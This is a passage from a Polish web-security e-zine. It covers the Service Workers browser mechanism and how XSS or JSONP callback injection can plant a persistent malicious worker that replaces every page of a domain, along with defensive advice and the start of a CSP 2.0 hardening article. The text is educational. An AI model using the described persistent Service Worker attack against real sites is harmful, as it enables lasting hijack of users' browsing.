[go: up one dir, main page]

0% found this document useful (0 votes)
151 views65 pages

Sekurak Offline 2 Final

Download as pdf or txt
Download as pdf or txt
Download as pdf or txt
You are on page 1/ 65

OFFLINE

N o 1 (2) / 2016

BEZPIECZEŃSTWO APLIKACJI
• CSP 2.0
• Bit-Flipping
• Padding Oracle
• Mechanizm
Service Workers PODATNOŚCI W MECHANIZMACH UPLOADU

Ochrona podatnych aplikacji webowych za Czym jest i jak wykorzystać podatność Relative Path Ukryte katalogi i pliki jako źródło
pomocą wirtualnych poprawek w ModSecurity Overwrite/Path–Relative Style Sheet Import (RPO/PRSSI) informacji o aplikacjach internetowych

© SEKURAK
Edytorial

SEKURAK/OFFLINE:
WITAMY, PONOWNIE
REDAKTOR NACZELNY
Ponad pół roku od wydania pierwszego sekurak-zina, który Michał Sajdak
pobrało około 50 000 osób – udostępniamy kolejny numer.
WSPÓŁPRACA/TEKSTY
MICHAŁ SAJDAK
Tematyka pozostaje bez zmian: cały czas poruszamy się
Michał Bentkowski
w obszarze aplikacji webowych. Tym razem przygotowaliśmy
Marcin Bury
kilka bardziej zaawansowanych tekstów podzielonych na dwa
Rafał Janicki
obszary (ofensywa/defensywa). W artykułach znajdziecie
Bartosz Jerzman
wiedzę przydatną dla programistów, testerów, pentesterów,
Adrian Michalczyk
administratorów oraz wszystkich fanów problematyki bez-
pieczeństwa webowego. REDAKCJA JĘZYKOWA
Dla żądnych praktyki: w ciągu ostatnich kilku miesięcy Julia Wilk
w serwisie rozwal.to, umieściliśmy rozbudowane i zaawanso- KOREKTA
wane zadania – m.in. serię zadań sylwestrowych.
Katarzyna Sajdak
Sekurak/Offline udostępniamy bezpłatnie i zachęcamy do
SKŁAD
dzielenia się nim ze znajomymi. Do jego pobrania nie jest
wymagany adres e-mail, ale możecie zapisać się, aby otrzy- Havok
mywać powiadomienia o kolejnych numerach. Treści zamieszone w Sekurak/Offline służą wyłącznie celom informacyjnym oraz edukacyjnym.
Nie ponosimy odpowiedzialności za ewentualne niezgodne z prawem wykorzystanie materiałów
Macie pytania? Prośby? Chcielibyście podzielić się uwagami? dostępnych w zinie oraz ewentualne szkody czy inne straty poniesione w wyniku wykorzystania
Czekamy na kontakt od Was (sekurak@sekurak.pl). tych materiałów. Stanowczo odradzamy działanie niezgodne z prawem czy dobrymi obyczajami.

Wszelkie prawa zastrzeżone. Kopiowanie dozwolone (a nawet wskazane)


– tylko w formie niezmienionej i w całości.

sekurak.pl /  offline 
Spis treści

Mechanizm Wszystko o CSP 2.0 Ochrona


Service Workers – Content Security Policy za pomocą ModSecurity
Michał Bentkowski Adrian 'Vizzdoom' Michalczyk Bartosz Jerzman
…został wprowadzony w najnowszych wer- W 2014 pisaliśmy czym jest CSP. Była to Wirtualna poprawka to wdrażanie w war-
sjach przeglądarek internetowych, by roz- wtedy młoda technologia. Od tego czasu stwie zabezpieczeń mechanizmu umożli-
wiązać problem, z którym świat aplikacji standard mocno się rozwinął. Czy obecna wiającego wykrycie i zablokowanie złośli-
webowych boryka się od dawna… wersja CSP 2.0 jest remedium na nieznane wego kodu, zanim dotrze do chronionego
luki XSS? zasobu…

Czym jest Czym jest Podatności


atak Padding Oracle? Bit-Flipping w mechanizmach uploadu
Michał Bentkowski Marcin Bury Michał Bentkowski
…to atak pozwalający na wyłuskanie tekstu …jest popularnym atakiem na blokowe al- Upload plików zalicza się do najczęściej wy-
jawnego z zaszyfrowanych danych bez zna- gorytmy szyfrowania w trybie CBC, wiąza- stępujących funkcjonalności w aplikacjach
jomości klucza szyfrującego, a także – bez nia bloków zaszyfrowanych. W wielu przy- webowych. Zazwyczaj wiąże się z wgrywa-
konieczności wyszukiwania błędów w sa- padkach prowadzi do przejęcia kont innych niem na serwer obrazków bądź dokumen-
mym algorytmie szyfrującym… użytkowników… tów. Jest zarazem miejscem…

Ukryte katalogi Czym jest i jak wykorzystać Mechanizm


i pliki podatność RPO/PRSSI HTTP Public Key Pinning
Rafał 'bl4de' Janicki Adrian 'Vizzdoom' Michalczyk Michał Bentkowski
…pozostawione przez nieuwagę na serwe- …jest nowym rodzajem ataku, w którym Bezpieczne połączenia przy użyciu protoko-
rze WWW, mogą stać się nieocenionym wykorzystuje się nietypowe zachowania łu HTTPS stanowią jeden z podstawowych
źródłem informacji podczas testu penetra- serwerów aplikacyjnych oraz aplikacji we- budulców dzisiejszego Internetu. HTTPS za-
cyjnego. W skrajnych sytuacjach, takich jak bowych w zakresie mechanizmów przetwa- pewnia poufność, integralność oraz auten-
pozostawiony katalog .git lub .svn… rzających względne adresy URL… tyczność komunikacji…

sekurak.pl /  offline 
t f
Michał Bentkowski
 Początkujący  |  Średni  |  Zaawansowany  Defensywa  |  Ofensywa 

sekurak.pl /  offline 
Mechanizm Service Workers Aby dać twórcom więcej swobody w implementacji cache’u w aplikacjach we-
bowych, zdefiniowano mechanizm Service Workers. Dzięki niemu zyskali oni możli-
Mechanizm Service Workers został wprowadzony w najnowszych wer- wość kontroli pobierania wszystkich zasobów z domeny, dla której są one zainstalo-
sjach przeglądarek internetowych, by rozwiązać problem, z którym wane z poziomu JavaScriptu. Mechanizm Service Workers
świat aplikacji webowych boryka się od dawna – mianowicie: jak aplika-
cja powinna się zachowywać w przypadku utraty połączenia z Interne- JAK DZIAŁAJĄ SERVICE WORKERS Wszystko o CSP 2.0 – Content
tem. Niniejszy artykuł ma na celu przybliżenie zasad działania Service Security Policy jako uniwersalny
Aktualnie, Service Workers są domyślnie wspierane w Chromie, zaś w przypadku
Workers oraz wskazanie największych zagrożeń związanych z tym me- strażnik bezpieczeństwa aplikacji
przeglądarki Firefox niezbędne jest włączenie flagi dom.serviceWorkers.enabled
chanizmem, którymi w szczególności powinni być zainteresowani twór- webowej
w about:config.
cy stron internetowych.
Jeśli będziemy chcieli używać Service Workers w swojej aplikacji, musi ona dzia- Ochrona podatnych aplikacji
łać w protokole HTTPS. Ze względu na potężne możliwości, jakie daje ten mecha- webowych za pomocą wirtualnych
Service Workers nie jest pierwszym mechanizmem próbującym rozwiązać problem nizm, udostępnianie go przez HTTP groziłoby ryzykiem ataku man-in-the-middle poprawek w ModSecurity
z dostępem offline do aplikacji webowych. Kilka lat temu zdefiniowano mechanizm umożliwiającego przejęcie stałej kontroli nad domeną w obrębie przeglądarki uży-
AppCache, który pozwala developerom zdefiniować listę  plików podlegających wanej przez użytkownika w momencie ataku. Wyjątkiem jest localhost – w którym Czym jest atak Padding Oracle
cache’owaniu. Aby skorzystać z tego rozwiązania, należało w elemencie html do- to obostrzenie nie obowiązuje, co pozwala na przeprowadzanie testów.
dać atrybut manifest wskazujący na plik manifestu. Skrypt Service Worker wykonuje się w JavaScript w kontekście niezależnym od Czym jest Bit-Flipping
Wyglądało to następująco: głównej strony, co oznacza, że nie ma z niego dostępu do drzewa DOM. Aby zde-
finiować w aplikacji mechanizm Service Worker, należy w skrypcie strony umieścić Bezpieczeństwo aplikacji
<!doctype html>
<html manifest="manifest.appcache"> następujący kod: webowych: podatności
.... w mechanizmach uploadu
</html> Listing 1. Definicja podstawowego Service Workera.
Ukryte katalogi i pliki jako
Natomiast sam plik manifest.appcache mógł na przykład zawierać następującą if ('serviceWorker' in navigator) { źródło informacji o aplikacjach
treść: navigator.serviceWorker.register('/sw.js').then(function(r) {
console.log('ServiceWorker zarejestrowany.') internetowych
}).catch(function(e) {
CACHE MANIFEST console.log('Ups! Błąd przy rejestracji ServiceWorkera! '+e)
/styl.css }); Czym jest i jak wykorzystać
/main.js }
/obrazek.png podatność Relative Path
Overwrite/Path–Relative Style
W tym przypadku, plik manifestu instruuje przeglądarkę, że cache’owaniu powinny W opisanym wyżej kodzie rejestrujemy Service Worker, definiując jego ścieżkę na Sheet Import (RPO/PRSSI)
podlegać trzy konkretne pliki. /sw.js. Wszystkie akcje Service Worker wykonywane są w ramach zdarzeń (eventów):
Praktyka pokazała jednak, że rozwiązanie AppCache jest mało elastyczne; spo- install, activate, fetch. tzn. w pliku /sw.js). Mechanizm HTTP Public Key
sób definiowania pliku manifestu jest częściowo niezgodny z „duchem Web”, nie Oto przykładowy kod: Pinning
wspominając o niektórych dziwnych zachowaniach implementacji, które sprawiały,
Listing 2. Podstawowa definicja Service Workera.
że AppCache nie spełniał dobrze swojej roli w aplikacjach, będących czymś więcej
niż pojedynczą stroną korzystającą z szeregu skryptów JavaScript. Wszystkie te pro- self.addEventListener('install', function(ev) {
blemy świetnie opisuje w swoim artykule Jake Archibald. // Zdarzenie wywoływane po zarejestrowaniu Service Workera

4 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Mechanizm Service Workers

sekurak.pl /  offline 
}); b. Zawartość sw.js
self.addEventListener('activate', function(ev) { self.addEventListener('fetch', function(ev) {
// Zdarzenie wywoływane po aktualizacji pliku Service Workera if (ev.request.url.endsWith('.worker')) {
}); ev.respondWith(new Response('<strong>Ten URL istnieje!</strong>', Mechanizm Service Workers
{headers:
self.addEventListener('fetch', function(ev) { {"Content-type":"text/html"}
// Zdarzenie wywoływane podczas próby pobrania zasobu })); Wszystko o CSP 2.0 – Content
}); }
}); Security Policy jako uniwersalny
strażnik bezpieczeństwa aplikacji
Typowo, w zdarzeniu install wypełniamy cache jakimiś  początkowymi dany- webowej
mi, w zdarzeniu activate bierzemy pod uwagę możliwe zmiany w cache’u (czyli 2. Następnie, musimy oba pliki uruchomić na serwerze – proponuję w tym celu uży-
np. przestajemy cache’ować jeden z zasobów), zaś zdarzenie fetch jest wywoływa- wać Pythona i jego prosty serwer WWW, wywołując polecenie: Ochrona podatnych aplikacji
ne w przypadku pobrania jakichkolwiek zasobów. Co ważne – zdarzenie fetch jest webowych za pomocą wirtualnych
python -mSimpleHTTPServer
wywoływane zawsze przy próbie pobrania zasobu – bez znaczenia, czy jesteśmy poprawek w ModSecurity
offline, czy online. Co więcej: jeżeli – na przykład – plik index.html zawiera odwo- Wówczas na porcie 8000 zacznie nasłuchiwać serwer listujący pliki z obecnego
łanie do pliku obrazka z innej domeny, to zapytanie też przechodzi przez Service katalogu. Czym jest atak Padding Oracle
Workera! Takie zachowanie powinno od razu zapalić lampkę ostrzegawczą w głowie
każdego testera bezpieczeństwa i naturalnym wydaje się pytanie: „co się stanie, je- 3. Wróćmy jednak do plików, które zdefiniowaliśmy. Mamy index.html, którego je- Czym jest Bit-Flipping
żeli złośliwy użytkownik będzie mógł zdefiniować własnego Service Workera?”. Od- dyną rolą jest zarejestrowanie Service Workera spod adresu /sw.js – skrypt z Se-
powiedź poznamy poniżej. rvice Workerem musi zawsze znajdować się w tym samym originie, co skrypt go Bezpieczeństwo aplikacji
wywołujący. Sam Service Worker z kolei działa dość prosto. Sprawdza, czy adres webowych: podatności
w mechanizmach uploadu
PRZYKŁAD URL żądania kończy rozszerzeniem „.worker” – a jeżeli tak jest – zwraca w odpo-
Aby zrozumieć lepiej działanie Service Workerów, posłużymy się prostym wiedzi pogrubiony tekst: Ten URL istnieje!.
Ukryte katalogi i pliki jako
przykładem. 4. Gdy wejdziemy z poziomu przeglądarki najpierw pod http://localhost:8000, a na- źródło informacji o aplikacjach
stępnie pod adres http://localhost:8000/cokolwiek.worker – zobaczymy, że rze- internetowych
1. Utwórzmy dwa pliki: index.html i sw.js. czywiście dostaniemy odpowiedź z Service Workera (rysunek 1).
a. Zawartość index.html Czym jest i jak wykorzystać
<!doctype html>
podatność Relative Path
<html> Overwrite/Path–Relative Style
<head> Sheet Import (RPO/PRSSI)
<script>
navigator.serviceWorker.register('/sw.js').catch(e=>console.error('Ups!' + e))
</script> Mechanizm HTTP Public Key
</head>
<body> Pinning
Tutaj nic nie ma.
</body> Rysunek 1. Odwołanie się do adresu test.worker.
</html>

Ten bardzo prosty przykład pokazuje dobitnie, że dzięki Service Workerowi kontro-
lujemy treść odpowiedzi HTTP wykonywanych do dowolnych zasobów w ramach

5 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Mechanizm Service Workers

sekurak.pl /  offline 
jednej domeny, co umożliwia także definiowanie odpowiedzi do zasobów, które nie
istnieją (np. plik test.worker nie istnieje w ogóle na serwerze).
W ramach eksperymentu możemy spróbować usunąć z serwera plik sw.js, zrestar-
tować przeglądarkę i tym razem sprawdzić, co się stanie po odwołaniu do innego Mechanizm Service Workers
zasobu, np. http://localhost:8000/test2.worker. Okaże się, że zostanie zwrócona treść
zdefiniowana w Service Workerze – mimo tego że sam Service Worker już nie istnieje. Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
Wniosek: gdy chcemy zrezygnować z używania Service Worker w swojej aplikacji
strażnik bezpieczeństwa aplikacji
webowej, musimy pamiętać o tym, by go wyrejestrować.
webowej
Jak zatem wyłączyć Service Workera?
W Chrome pod adresem chrome://inspect/#service-workers możemy zobaczyć Ochrona podatnych aplikacji
listę działających Service Workerów dla wszystkich domen (rysunek 2). Intuicyjnie webowych za pomocą wirtualnych
może wydawać się, że po kliknięciu na przycisk „Terminate”, Service Worker zosta- poprawek w ModSecurity
nie zatrzymany. Okazuje się, że nie; http://localhost:8000/test3.worker nadal zwraca
wynik z Service Workera, bowiem zostaje on na nowo uruchomiony przy próbie do- Czym jest atak Padding Oracle
stępu do zasobu z naszej domeny.
Rysunek 3. Inna lista Service Workerów, z opcją „Unregister”.
Czym jest Bit-Flipping

PROBLEMY BEZPIECZEŃSTWA Bezpieczeństwo aplikacji


Pokazaliśmy powyżej przykład Service Workera, który podstawiał własną odpo- webowych: podatności
w mechanizmach uploadu
wiedź do zasobów, których URL kończy się na „.worker”. Pokazaliśmy też, że z punktu
widzenia użytkownika końcowego, raz zdefiniowany Service Worker może być trud-
Ukryte katalogi i pliki jako
ny do usunięcia. źródło informacji o aplikacjach
W świetle tych faktów możemy wyciągnąć dwa wnioski: internetowych
»» jeżeli znajdziemy w danej domenie błąd XSS (Cross Site Scripting), który pozwo-
li na zdefiniowanie własnego Service Workera, będziemy mogli w tej domenie Czym jest i jak wykorzystać
podmienić każdą podstronę; innymi słowy: możemy przeprowadzić prawdziwie podatność Relative Path
permanentnego XSS-a na wszystkich podstronach; Overwrite/Path–Relative Style
»» nawet jeśli atakowany użytkownik zorientuje się, że coś jest nie w porządku, i tak Sheet Import (RPO/PRSSI)
może mieć problem z usunięciem złośliwego Service Workera.
Mechanizm HTTP Public Key
Rysunek 2. Lista Service Workerów.
W większości przypadków wprowadzenie złośliwego Service Workera nie będzie Pinning
Przeglądarka Chrome ma jeszcze jeden specjalny URL pokazujący listę Service Wor- proste. Wymagane jest bowiem, żeby skrypt Service Workera zwracał nagłówek
kerów, mianowicie: chrome://inspect/#service-workers (rysunek 3). Na tym ekranie Content-Type: application/javascript. W większości aplikacji webowych,
pojawia się przycisk „Unregister” i dopiero po jego kliknięciu, Service Worker zosta- nie mamy możliwości wstrzyknięcia w tego typu zasoby. Wyjątkiem jest sytuacja,
nie wyrejestrowany, a zdefiniowane wcześniej URL-e przestaną działać. w której aplikacja udostępnia interfejs JSONP. Wtedy zazwyczaj mamy kontrolę

6 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Mechanizm Service Workers

sekurak.pl /  offline 
nad parametrem callback, w którym bardzo często możemy umieścić dowolny kod
JavaScript.
Na przykład: https://example.com/jsonp?callback=<złośliwy_kod>.
Wskazówka: jeżeli używamy na swoich stronach JSONP, warto zadbać o ograni- Mechanizm Service Workers
czenia do parametru callback, np. tylko znaki alfanumeryczne i kropka, maksymalna
długość: 20 znaków. Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
Wydaje się, że przeglądarki internetowe mogłyby robić więcej, jeśli chodzi
strażnik bezpieczeństwa aplikacji
o ochronę użytkowników przed złośliwym użyciem Service Workerów. Dotychczas
webowej
w nowowprowadzanych mechanizmach, jak np. CORS, stosowana była zasada opt-
-in, tzn. jawne określenie w nagłówku HTTP zgody na pobieranie zasobów z naszej Ochrona podatnych aplikacji
domeny przez inne domeny. webowych za pomocą wirtualnych
W przypadku Service Workerów nie ma możliwości, aby w jawny sposób zade- poprawek w ModSecurity
klarować, że tylko jeden URL może być używany jako skrypt. Chrome wysyła w za-
pytaniu dodatkowy nagłówek Service-Worker: script, więc ewentualnym za- Czym jest atak Padding Oracle
bezpieczeniem po stronie serwera mogłoby być odrzucanie wszystkich żądań z tym
nagłówkiem (jeśli nie używamy u siebie w ogóle Service Workerów). Czym jest Bit-Flipping

PODSUMOWANIE Bezpieczeństwo aplikacji


Mechanizm Service Workers umożliwia programistom aplikacji webowych defi- webowych: podatności
w mechanizmach uploadu
niowanie sposobu pobierania zasobów (np. gdy aplikacja znajduje się w trybie offli-
ne). Ze względu na jego potężne możliwości, błąd typu XSS może zostać wykorzy-
Ukryte katalogi i pliki jako
stany do permanentnej podmiany zawartości wszystkich podstron. źródło informacji o aplikacjach
Aby zabezpieczyć się przed atakiem z wykorzystaniem mechanizmu Service internetowych
Workers, należy zadbać o to, by użytkownik nie miał zbyt dużych możliwości
umieszczania treści bezpośrednio w skryptach JavaScript. Dodatkowym środkiem Czym jest i jak wykorzystać
bezpieczeństwa może być zmiana konfiguracji serwera polegająca na odrzucaniu podatność Relative Path
żądań z nagłówkiem Service-Worker: script. Overwrite/Path–Relative Style
Sheet Import (RPO/PRSSI)

Mechanizm HTTP Public Key


Michał Bentkowski. Realizuje testy penetracyjne oraz audyty bezpieczeństwa Pinning
w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie (i z sukcesem)
uczestniczy w znanych programach bug bounty.

7 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk
 Początkujący  |  Średni  |  Zaawansowany  Defensywa  |  Ofensywa 

sekurak.pl /  offline 
Wszystko o CSP 2.0 – Content Security Poniższa publikacja (pisana na początku 2016 roku) omawia technologię Content Security

Policy jako uniwersalny strażnik


Policy (CSP) w wersji 1.0 oraz 2.0 według oficjalnej dokumentacji W3C:
»» Content Security Policy 1.0 W3C Candidate Recommendation 15 November 2012

bezpieczeństwa aplikacji webowej (wyłącznie do celów informacyjnych).


»» Content Security Policy Level 2, W3C Candidate Recommendation, 21 July 2015.
Mechanizm Service Workers

Wszystko o CSP 2.0 – Content


W 2014 roku na Sekuraku (oraz w pierwszym e-zinie) pisaliśmy czym
Security Policy jako uniwersalny
jest Content Security Policy. Była to wtedy młoda technologia utrudnia- Ten materiał jest efektem wniosków z analizy fragmentów unormowanych oraz nie-
strażnik bezpieczeństwa aplikacji
jąca eksploatację ataków XSS. Od tego czasu standard mocno się rozwi- normatywnych dokumentacji W3C. W obu przypadkach analizowałem tylko stabil- webowej
nął. Czy obecna wersja CSP 2.0 jest remedium na nieznane luki XSS? Na ne, rekomendowane standardy (o statusie CR), które nie powinny zostać zmienione.
jakie problemy można natknąć się podczas wdrożeń CSP? Na te pytania W momencie pisania tekstu, zostały rozpoczęte prace nad CSP 3. Ze względu na
postaram się odpowiedzieć w kolejnych sekcjach poniższego artykułu. Ochrona podatnych aplikacji
to, że niektóre elementy CSP 3 zostały już zaimplementowane w przeglądarkach, webowych za pomocą wirtualnych
w artykule również się do nich odniosę. Z uwagi na możliwe zmiany w dokumen- poprawek w ModSecurity
SŁOWEM WSTĘPU tacji i rzetelność opracowania, referencje do trzeciej wersji CSP będą w niniejszym
CSP zainteresowałem się kilka lat temu, gdy zacząłem zgłębiać bezpieczeństwo opracowaniu wyraźnie zaznaczone. Czym jest atak Padding Oracle
technologii skupionych wokół HTML5. Z nagłówkami Content-Security-Policy
miałem styczność jako web developer oraz pentester. W zależności od roli projek- W poniższym artykule zagadnienia dotyczące CSP 3 (oraz wyższych) będą poruszane tylko Czym jest Bit-Flipping
na poziomie ogólnym.
towej i doświadczenia, CSP było moim przyjacielem lub wrogiem. Sądzę, że warto
zaznajomić się z tą technologią i wyciągnąć z niej to, co najlepsze, by zabezpieczyć Bezpieczeństwo aplikacji
użytkowników aplikacji webowych, ale także – aby nie utknąć na zbyt dużych re- CZYM JEST CSP? webowych: podatności
w mechanizmach uploadu
strykcjach w czasie testów. W chwili tworzenia aplikacji internetowej z reguły wiadomo, jakie zasoby trafią
W sieci istnieje wiele poradników dotyczących CSP. Niestety te, na które trafia- do przeglądarek końcowych użytkowników. Programiści nie powinni mieć większe-
Ukryte katalogi i pliki jako
łem, zawsze miały wspólną wadę – nie odwoływały się do rekomendowanej wersji go problemu z określeniem, z jakiego miejsca zostaną pobrane pliki HTML, skrypty, źródło informacji o aplikacjach
standardu (obecnie – drugiej). Autorzy poradników często mieszają mechanizmy style czy multimedia. internetowych
proponowane przez W3C z niestandardową implementacją przeglądarek oraz nie Można by więc pokusić się o wskazanie dozwolonych źródeł (domen, ścieżek,
wyjaśniają różnic. Z tego powodu projekty z CSP, z którymi miałem do czynienia, po- protokołów) dla różnych grup zasobów. Gdyby przeglądarka respektowała takie Czym jest i jak wykorzystać
siadały bardzo liberalne zasady nieznacznie podnoszące poziom bezpieczeństwa. wartości, to użytkownicy aplikacji (oraz agresorzy), nie mogliby spowodować za- podatność Relative Path
Obserwowałem też wdrożenia CSP, które całkowicie nie działały lub powodowały ładowania (złośliwych) zasobów (skryptów, apletów…) z domeny niewskazanej Overwrite/Path–Relative Style
popsucie aplikacji internetowej. wprost przez programistę. Sheet Import (RPO/PRSSI)
Aby pomóc innym programistom i testerom, zdecydowałem się napisać artykuł, któ- Content Security Policy (CSP) jest właśnie koncepcją wykorzystującą listy do-
rego źródłem są wyłącznie: dokumentacje W3C oraz moje zawodowe doświadczenie. zwolonych źródeł, z których mogą zostać załadowane zasoby strony. Programista Mechanizm HTTP Public Key
tworzy białą listę hostów i ścieżek, którą dodaje do nagłówka odpowiedzi strony Pinning
O CZYM JEST TEN ARTYKUŁ internetowej. Nowoczesna przeglądarka respektuje tę listę i – w razie naruszenia
Artykuł pisany jest w kontekście zwiększania bezpieczeństwa („utwardzania”/ polityki – blokuje ładowanie oraz wykonywanie niechcianego zasobu.
hardeningu) aplikacji internetowych. Testowanie, omijanie i atakowanie CSP będzie Włączenie polityk CSP w znacznym stopniu utrudnia przeprowadzenie uda-
tematem osobnej publikacji. nych ataków XSS, UI Redressing (Clickjacking), złośliwego wykorzystania ramek czy

8 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

sekurak.pl /  offline 
wstrzyknięć CSS. Gdy agresor będzie próbował dodać szkodliwe elementy do stro- Jak widać, użycie CSP jest bardzo proste i intuicyjne. Zanim zapoznamy się z ele-
ny (np. przez nieznaną podatność), restrykcje CSP zatrzymają żądanie o wrogi zasób mentami, które możemy chronić, najpierw przyjrzyjmy się standardom stojącym za
(np. skrypt). Nawet gdy w aplikacji zostanie odnaleziona podatność XSS, potencjal- technologią oraz ich praktycznemu wsparciu w obecnych przeglądarkach.
ny atakujący może mieć bardzo utrudnione zadanie w jej wykorzystaniu, ponieważ Mechanizm Service Workers
ładunki („payloady”) podsyłane ofiarom nie załadują szkodliwych skryptów w miej- Jeśli jeszcze nie czujesz się pewnie z wiedzą o technologii CSP oraz o jej głównych założe-
scu wstrzyknięcia.
niach, przed dalszą lekturą polecam zapoznanie się z artykułem Rafała `Blade` Janickiego Wszystko o CSP 2.0 – Content
„Czym jest Content Security Policy?” z 2014 roku.
Security Policy jako uniwersalny
strażnik bezpieczeństwa aplikacji
PIERWSZE KROKI Z CSP webowej
CSP można włączyć na dwa sposoby: BAŁAGAN STANDARDÓW I IMPLEMENTACJI
»» przez specjalnie przygotowany nagłówek HTTP – Content-Security-Policy: Content Security Policy powstało z inicjatywy pracowników Google oraz Mozilli. Ochrona podatnych aplikacji
$polityki-csp, Od samego początku przeglądarki tych dwóch firm najszybciej wprowadzały nowe webowych za pomocą wirtualnych
»» przez dodanie znacznika meta w sekcji <head> kodu HTML – <meta http- rozszerzenia CSP, oczywiście każda w innym czasie. Po kilku latach firma Microsoft poprawek w ModSecurity
equiv="Content-Security-Policy" content="$polityki-csp">. – jakby pod naciskiem konkurencji – również podjęła pierwsze próby implementacji
CSP w swoich produktach. Ostatecznie pomysł na nowy standard trafił pod skrzydła Czym jest atak Padding Oracle
Zalecany jest pierwszy wariant – CSP włączone przez znacznik <meta> (dla bezpie- grupy roboczej W3C.
czeństwa) nie interpretuje wszystkich dyrektyw. Z początkiem 2016 roku CSP w wersji 1.0 zostało całkowicie zastąpione przez Czym jest Bit-Flipping
Domyślną polityką, od której zaczyna się budowanie nagłówka, jest: blokuj wersję drugą. Można również zapoznać się ze szkicem (W3C draft) trzeciej wersji
wszystko. Programista modyfikując wartość CSP, rozluźnia obostrzenia dla konkret- standardu, uzupełnianej o nowe mechanizmy zabezpieczeń. Bezpieczeństwo aplikacji
nych grup zasobów (np. osobno dla skryptów, obrazków itp.). Gdy nowoczesna prze- Content Security Policy w pierwszej wersji zostało bardzo dobrze przyjęte przez webowych: podatności
w mechanizmach uploadu
glądarka, wspierająca użyte dyrektywy, odbierze wraz z treścią strony nagłówek: inżynierów bezpieczeństwa. Nieco gorzej wypadło w oczach web developerów, po-
nieważ w niektórych przypadkach, CSP okazało się bardziej skomplikowane niż przy-
Content-Security-Policy: default-src 'self' cdn.example.com; img-src img.example.com; Ukryte katalogi i pliki jako
puszczano. Dlatego też szybko rozpoczęto prace nad usprawnieniami, oznaczonymi
źródło informacji o aplikacjach
to podczas przetwarzania kodu HTML (a potem podczas działania strony) powodu- numerem 1.1. Standard powoli się rozrastał, aż W3C zdecydowało się zmienić nume- internetowych
jącego wysłanie żądań o skrypty, style czy fonty, pozwoli wykonać je wyłącznie do: rację na Level 2, zamrozić proces zmian i kontynuować pracę nad wersją trzecią.
»» tej samej domeny, co załadowana strona ('self'), Mogłoby się wydawać, że prace nad CSP przebiegały bardzo sprawnie – przeglądarki Czym jest i jak wykorzystać
»» do domeny cdn.example.com (korzystając z protokołu HTTP oraz HTTPS). szybko implementowały kolejne dyrektywy CSP, a grupy robocze płynnie tworzyły podatność Relative Path
nowe mechanizmy zabezpieczeń. Problem pojawił się w innym miejscu – po stronie Overwrite/Path–Relative Style
W powyższym przykładzie obrazki będą mogły zostać załadowane tylko spod adre- użytkowej, kiedy programiści chcieli się nauczyć, jak korzystać z CSP oraz przekazać Sheet Import (RPO/PRSSI)
su http(s)://img.example.com/*. Nie będzie możliwości wczytania zasobów tę wiedzę dalej. Pojawiły się więc poradniki oraz benchmarki, do których – niestety
z innych hostów. Wskazana polityka CSP zablokuje również wywoływanie skryp- – wkradło się wiele niespójności. Mechanizm HTTP Public Key
tów umieszczonych między znacznikami <script></script>. Nie wykonają się Do niedawna jeszcze mieliśmy niemały bałagan w samej standaryzacji i stop- Pinning
również akcje z atrybutów takich jak onclick czy oninput, gdyż wykonanie tzw. niu jej implementacji; na szczęście proces zaczyna się porządkować, niemniej nadal
„skryptów inline” musiałoby zostać dopuszczone przez dodanie 'unsafe-inline': można trafić na wdrożenia CSP pisane w duchu wsparcia:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
»» nieustandaryzowanych wersji nagłówków (np. X-Content-Security-Policy)
lub niestandardowych dyrektyw (np. allow zamiast default-src),

9 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

sekurak.pl /  offline 
»» CSP 1.0, w praktyce implementuje tylko jedną dyrektywę CSP 1.0 (sandbox), w dodatku
»» wybranych elementów CSP 1.1, przez niestandardowy nagłówek. Dość często Internet Explorer okazuje się więc
»» wczesnej (rozwijanej) wersji CSP 2.0, niemiłą niespodzianką.
»» oficjalnej (stabilnej) wersji CSP 2.0, Pamiętając o tego rodzaju problemach, przyjrzyjmy się ogólnie, w jakich prze- Mechanizm Service Workers
»» wybranych elementów CSP 3.0. glądarkach możemy liczyć na wsparcie Content Security Policy.
Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
JAK UNIKNĄĆ PROBLEMÓW Wsparcie CSP 1.0
strażnik bezpieczeństwa aplikacji
Aby uniknąć problemów w przyszłości, przed rozpoczęciem definiowania poli- Obecnie poziom wsparcia pierwszej wersji standardu jest bardzo wysoki. Kom-
webowej
tyk CSP należy: pletna implementacja standardu W3C została wdrożona w:
»» jasno ustalić wymagania dotyczące wersji wspieranych przeglądarek przez klien- »» Internet Explorer Edge (12+), Ochrona podatnych aplikacji
tów aplikacji webowych, »» Firefox (23+), webowych za pomocą wirtualnych
»» najważniejsze polityki opierać na stabilnej wersji standardu – obecnie „W3C Le- »» Chrome (25+), poprawek w ModSecurity
vel 2 Candidate Recommendation”, »» Safari (7+),
»» przeanalizować, czy dyrektywy z nowszych szkiców W3C mogą zwiększyć bez- »» a także w mobilnych wersjach: Safari, Android Browser/Web View/Chrome. Czym jest atak Padding Oracle
pieczeństwo klientów końcowych; jeśli tak – warto je wprowadzić, ale z zastrze-
żeniem, że w przyszłości ich wsparcie może się zmienić, Problemem jest wyłącznie Internet Explorer 10/11, który obsługiwany jest tylko Czym jest Bit-Flipping
»» wykonać testy wsparcia najważniejszych dyrektyw dla kluczowych przeglądarek. przez nagłówek 'X-Content-Security-Policy' i respektuje wyłącznie dyrek-
tywę sandbox. Inne dyrektywy, takie jak chociażby script-src czy style-src, Bezpieczeństwo aplikacji
Polecam z rezerwą traktować tzw. „benchmarki wsparcia” oraz „generatory CSP”, które nie są interpretowane przez Internet Explorer w wersjach poniżej „Edge”. webowych: podatności
można znaleźć w sieci. Porównania i narzędzia szybko się dezaktualizują i mogą wprowa- w mechanizmach uploadu
dzić w błąd. Bardzo ważne jest testowanie wdrożonej polityki na różnych przeglądarkach Można założyć, że Internet Explorer w wersji 10 oraz 11 (i starszych) jest przeglą-
i podgląd oficjalnej dokumentacji. darką niewspierającą CSP.
Ukryte katalogi i pliki jako
źródło informacji o aplikacjach
